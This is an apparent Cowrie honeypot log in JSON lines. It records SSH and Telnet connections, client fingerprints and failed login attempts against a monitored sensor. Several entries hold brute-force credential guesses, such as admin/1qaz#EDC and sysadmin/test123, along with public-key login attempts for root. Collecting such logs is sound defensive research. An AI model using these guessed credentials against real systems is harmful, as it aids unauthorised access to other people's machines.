{"eventid":"cowrie.login.failed","username":"guest","password":"$BLANKPASS","message":"login attempt [guest/$BLANKPASS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:49:23.501317Z","src_ip":"223.233.84.127","session":"ccdb0d37f6fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:49:24.761586Z","src_ip":"223.233.84.127","session":"ccdb0d37f6fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":48784,"dst_ip":"10.17.0.5","dst_port":22,"session":"b944f87a697e","protocol":"ssh","message":"New connection: 165.227.170.113:48784 (10.17.0.5:22) [session: b944f87a697e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:49:25.452987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:49:25.457587Z","src_ip":"165.227.170.113","session":"b944f87a697e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:49:25.541402Z","src_ip":"165.227.170.113","session":"b944f87a697e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.322208404541016,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:49:25.808973Z","src_ip":"45.58.127.90","session":"6ca61149b8e4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz#EDC","message":"login attempt [admin/1qaz#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:49:25.909598Z","src_ip":"165.227.170.113","session":"b944f87a697e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:49:26.997114Z","src_ip":"165.227.170.113","session":"b944f87a697e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.158.116.21","src_port":49530,"dst_ip":"10.17.0.5","dst_port":23,"session":"14538a0b5287","protocol":"telnet","message":"New connection: 146.158.116.21:49530 (10.17.0.5:23) [session: 14538a0b5287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:49:45.963159Z"}
{"eventid":"cowrie.session.closed","duration":13.266594886779785,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:49:59.229653Z","src_ip":"146.158.116.21","session":"14538a0b5287","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00950074195862,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:05.160021Z","src_ip":"38.25.25.113","session":"b7599ffa864f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":39952,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dd135445e45","protocol":"telnet","message":"New connection: 38.25.25.113:39952 (10.17.0.5:23) [session: 6dd135445e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:06.378886Z"}
{"eventid":"cowrie.session.closed","duration":120.00108909606934,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:06.531205Z","src_ip":"38.25.25.113","session":"49fa5eef9812","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":40374,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f15c2c4ad81","protocol":"telnet","message":"New connection: 38.25.25.113:40374 (10.17.0.5:23) [session: 7f15c2c4ad81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:06.730995Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":33286,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b7e412184bd","protocol":"ssh","message":"New connection: 165.227.170.113:33286 (10.17.0.5:22) [session: 1b7e412184bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.192225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.197501Z","src_ip":"165.227.170.113","session":"1b7e412184bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.283668Z","src_ip":"165.227.170.113","session":"1b7e412184bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.31.53.170","src_port":37398,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9be7f25c4f0","protocol":"ssh","message":"New connection: 64.31.53.170:37398 (10.17.0.5:22) [session: b9be7f25c4f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.392998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.399733Z","src_ip":"64.31.53.170","session":"b9be7f25c4f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.413982Z","src_ip":"64.31.53.170","session":"b9be7f25c4f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:a2:97:c7:6b:26:88:76:56:bb:d6:8a:51:05:3e:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDF+PBqEYcDYwMiXGwmEJbYOkgfnoc5snWiN+Y9LDbyCyjBziWoEIGmeXv4zvo2CP1uIkvYnyKlAs/hBr/LOJEEThhA2/8lr8wE2GPT/7kHXq3yNP2uMbkxvV4kJUXwehVqUUdK5tqBQRMqMzlKmP9mSBRSIMEBTj/thgnlhk85jIz1slcuAxs5e1Zxb6x0GzktNKzISiqpJNE/qFK1zslpCF47uM8WXL/78RMdgOOebKm6XPArMxL81TuuCFSWRjcYwDLKemczhOQkmyzBThnmH31NEc39oUNirf+nMSEtU0G1rz11HHl/cUxW9cvFIdrKGpBwl+URqdH/2TVXnMNt9JD3SU3YlT/0mXjdPN9zSbRe9xmUSqE7eNd2pDrWIY1VdxoYdwNy+LDTMEdF8Th1xgrVwnSi7s5mV6E9fPFTYhhmh35v0FPjOaWjjdcVOKKzBSnbzNe0kwr9woph23042MxC6rU7f7ayQ6/L74zDCymp3zGZXqmRj21QAhsEGYdfTG2g/lROhqEc/SNhf+Eehgs71EE8kaaTIE6oFZq0BPoGugS9iv+5gDvAhvCYmFgwSyUKMUccdfjUD7IIc9K5npWCkvERR7bS2iCrHNnvxvCAul5O1ghm5OIvRRiZfEliLRhCzxJkw70+yZ2xD8vG7z9HqaudM2pYNI8nIFFY8Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:a2:97:c7:6b:26:88:76:56:bb:d6:8a:51:05:3e:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.432913Z","src_ip":"64.31.53.170","session":"b9be7f25c4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:a2:97:c7:6b:26:88:76:56:bb:d6:8a:51:05:3e:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDF+PBqEYcDYwMiXGwmEJbYOkgfnoc5snWiN+Y9LDbyCyjBziWoEIGmeXv4zvo2CP1uIkvYnyKlAs/hBr/LOJEEThhA2/8lr8wE2GPT/7kHXq3yNP2uMbkxvV4kJUXwehVqUUdK5tqBQRMqMzlKmP9mSBRSIMEBTj/thgnlhk85jIz1slcuAxs5e1Zxb6x0GzktNKzISiqpJNE/qFK1zslpCF47uM8WXL/78RMdgOOebKm6XPArMxL81TuuCFSWRjcYwDLKemczhOQkmyzBThnmH31NEc39oUNirf+nMSEtU0G1rz11HHl/cUxW9cvFIdrKGpBwl+URqdH/2TVXnMNt9JD3SU3YlT/0mXjdPN9zSbRe9xmUSqE7eNd2pDrWIY1VdxoYdwNy+LDTMEdF8Th1xgrVwnSi7s5mV6E9fPFTYhhmh35v0FPjOaWjjdcVOKKzBSnbzNe0kwr9woph23042MxC6rU7f7ayQ6/L74zDCymp3zGZXqmRj21QAhsEGYdfTG2g/lROhqEc/SNhf+Eehgs71EE8kaaTIE6oFZq0BPoGugS9iv+5gDvAhvCYmFgwSyUKMUccdfjUD7IIc9K5npWCkvERR7bS2iCrHNnvxvCAul5O1ghm5OIvRRiZfEliLRhCzxJkw70+yZ2xD8vG7z9HqaudM2pYNI8nIFFY8Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.437019Z","src_ip":"64.31.53.170","session":"b9be7f25c4f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:88:5b:f0:76:22:3b:67:c7:22:8f:f1:8e:53:72:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnjs0gCXfkVt3dTXv4XJCxOgcO1ttnDbOOsvixVMNuxRfrmvL3uDPQiBY7Ql4Bfxi1zit7F+Y0ChHc/4g7/vBBY/9R8mYTut/fmsj6V0iu5m/y3vd72intZR93oL85TBdzogsYZ2ygzo6jmBgjRuYDijF7GSdhCPRI1pxiiSRKzlj7BPfU6xtqeKSWwjB3bGYZsFm5Mo+QkNvY3eanFR0mi5N/r9ehp8oAYF1eBV+qi/iBkI4gE5qKQ4Fwx1jQO0UGMRY2xYp4B3pQrW1Qb4CfGOpRo43GD6X8rQM7DgK/mfqrSe+0DLjFsMmN+eglFLV6GlZqb0mGM2Ig7/rSSZPuw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:88:5b:f0:76:22:3b:67:c7:22:8f:f1:8e:53:72:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.444982Z","src_ip":"64.31.53.170","session":"b9be7f25c4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:88:5b:f0:76:22:3b:67:c7:22:8f:f1:8e:53:72:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnjs0gCXfkVt3dTXv4XJCxOgcO1ttnDbOOsvixVMNuxRfrmvL3uDPQiBY7Ql4Bfxi1zit7F+Y0ChHc/4g7/vBBY/9R8mYTut/fmsj6V0iu5m/y3vd72intZR93oL85TBdzogsYZ2ygzo6jmBgjRuYDijF7GSdhCPRI1pxiiSRKzlj7BPfU6xtqeKSWwjB3bGYZsFm5Mo+QkNvY3eanFR0mi5N/r9ehp8oAYF1eBV+qi/iBkI4gE5qKQ4Fwx1jQO0UGMRY2xYp4B3pQrW1Qb4CfGOpRo43GD6X8rQM7DgK/mfqrSe+0DLjFsMmN+eglFLV6GlZqb0mGM2Ig7/rSSZPuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.448696Z","src_ip":"64.31.53.170","session":"b9be7f25c4f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:7b:a5:73:10:1e:70:0a:59:6b:d4:e5:aa:22:d9:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMTTIJkS5uNOYVAXniiUuBl4CUC8UY8JBawvTe6QKGkrf3lZ4hTqPRNEgcKaLJHZFHYCdptpHAj+0VqwAspIoY/8zbA82e/Rbt6i20NJPVPyw4R1sywBO4FQ7BpbZeZqaorCLixyqnLw3P+j7YaFndyR26bR2+aDDpWP0TzhQRs/N92rWVpsMvS38IUo5KZzrZ+dzW5AZWjLaRfj1l2hcvsDemPz4mhdL+ZWFB2KIa+TV2dep+W+/gr+OmxDOBypyjJTZ8+/Q1+sIUHzjXv/9eqHf7BUVGYqAh9xz7Nb2D/y1JGh3npgadYbDl/D9FzhcTh/cL99bOS1oKqNkRuHYh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:7b:a5:73:10:1e:70:0a:59:6b:d4:e5:aa:22:d9:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.456774Z","src_ip":"64.31.53.170","session":"b9be7f25c4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:7b:a5:73:10:1e:70:0a:59:6b:d4:e5:aa:22:d9:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMTTIJkS5uNOYVAXniiUuBl4CUC8UY8JBawvTe6QKGkrf3lZ4hTqPRNEgcKaLJHZFHYCdptpHAj+0VqwAspIoY/8zbA82e/Rbt6i20NJPVPyw4R1sywBO4FQ7BpbZeZqaorCLixyqnLw3P+j7YaFndyR26bR2+aDDpWP0TzhQRs/N92rWVpsMvS38IUo5KZzrZ+dzW5AZWjLaRfj1l2hcvsDemPz4mhdL+ZWFB2KIa+TV2dep+W+/gr+OmxDOBypyjJTZ8+/Q1+sIUHzjXv/9eqHf7BUVGYqAh9xz7Nb2D/y1JGh3npgadYbDl/D9FzhcTh/cL99bOS1oKqNkRuHYh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.461304Z","src_ip":"64.31.53.170","session":"b9be7f25c4f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:ba:bc:ad:07:bc:4d:60:17:3b:ca:c0:de:98:5c:3f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG+wUfMjOOuF78bdpx6+dyqN9TuyQDqKubY74JENt3DB","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 9e:ba:bc:ad:07:bc:4d:60:17:3b:ca:c0:de:98:5c:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.473304Z","src_ip":"64.31.53.170","session":"b9be7f25c4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:ba:bc:ad:07:bc:4d:60:17:3b:ca:c0:de:98:5c:3f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG+wUfMjOOuF78bdpx6+dyqN9TuyQDqKubY74JENt3DB","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.477073Z","src_ip":"64.31.53.170","session":"b9be7f25c4f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:b9:22:31:6d:22:81:48:93:a4:44:06:f6:45:31:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7hkEKroDl36WgZi9xWRF5xntUbRAfZqj/eCAYSU1ETFIgrJAnHXC4ADgI9IbCXpr7xbkCQcODYSsYhld60R4M1aVXrur9qQIYzNi7X7FCEX7rj6YKu88f51azsCWyOGFpfR61h217kga13OOXpxM4G5XHvxIrOI/wOiJabrRcEc8pbNIu6OnUE0lCI/zK53qafybZdiCbHwJTG65m7KDCYhjFXqPiDCyUYVkiQrD67PTSeHjsmNMeei5FRUDEkihozCE1JrW4HHLT04LU/V3mn4JEiwMhkxLQgFTVVx/X5MNdi5eqkaZpvYEgUGMWDFTg8JAP6fe0Em5LuKzpIZdKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:b9:22:31:6d:22:81:48:93:a4:44:06:f6:45:31:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.485833Z","src_ip":"64.31.53.170","session":"b9be7f25c4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:b9:22:31:6d:22:81:48:93:a4:44:06:f6:45:31:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7hkEKroDl36WgZi9xWRF5xntUbRAfZqj/eCAYSU1ETFIgrJAnHXC4ADgI9IbCXpr7xbkCQcODYSsYhld60R4M1aVXrur9qQIYzNi7X7FCEX7rj6YKu88f51azsCWyOGFpfR61h217kga13OOXpxM4G5XHvxIrOI/wOiJabrRcEc8pbNIu6OnUE0lCI/zK53qafybZdiCbHwJTG65m7KDCYhjFXqPiDCyUYVkiQrD67PTSeHjsmNMeei5FRUDEkihozCE1JrW4HHLT04LU/V3mn4JEiwMhkxLQgFTVVx/X5MNdi5eqkaZpvYEgUGMWDFTg8JAP6fe0Em5LuKzpIZdKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.490063Z","src_ip":"64.31.53.170","session":"b9be7f25c4f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.498498Z","src_ip":"64.31.53.170","session":"b9be7f25c4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"QAZ2wsx","message":"login attempt [ubuntu/QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:07.666848Z","src_ip":"165.227.170.113","session":"1b7e412184bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:08.756791Z","src_ip":"165.227.170.113","session":"1b7e412184bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":29940,"dst_ip":"10.17.0.5","dst_port":22,"session":"1832e0764734","protocol":"ssh","message":"New connection: 223.233.84.127:29940 (10.17.0.5:22) [session: 1832e0764734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:18.938626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:18.944048Z","src_ip":"223.233.84.127","session":"1832e0764734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:19.307907Z","src_ip":"223.233.84.127","session":"1832e0764734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"test123","message":"login attempt [sysadmin/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:20.393873Z","src_ip":"223.233.84.127","session":"1832e0764734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:50:21.657285Z","src_ip":"223.233.84.127","session":"1832e0764734","protocol":"ssh"}
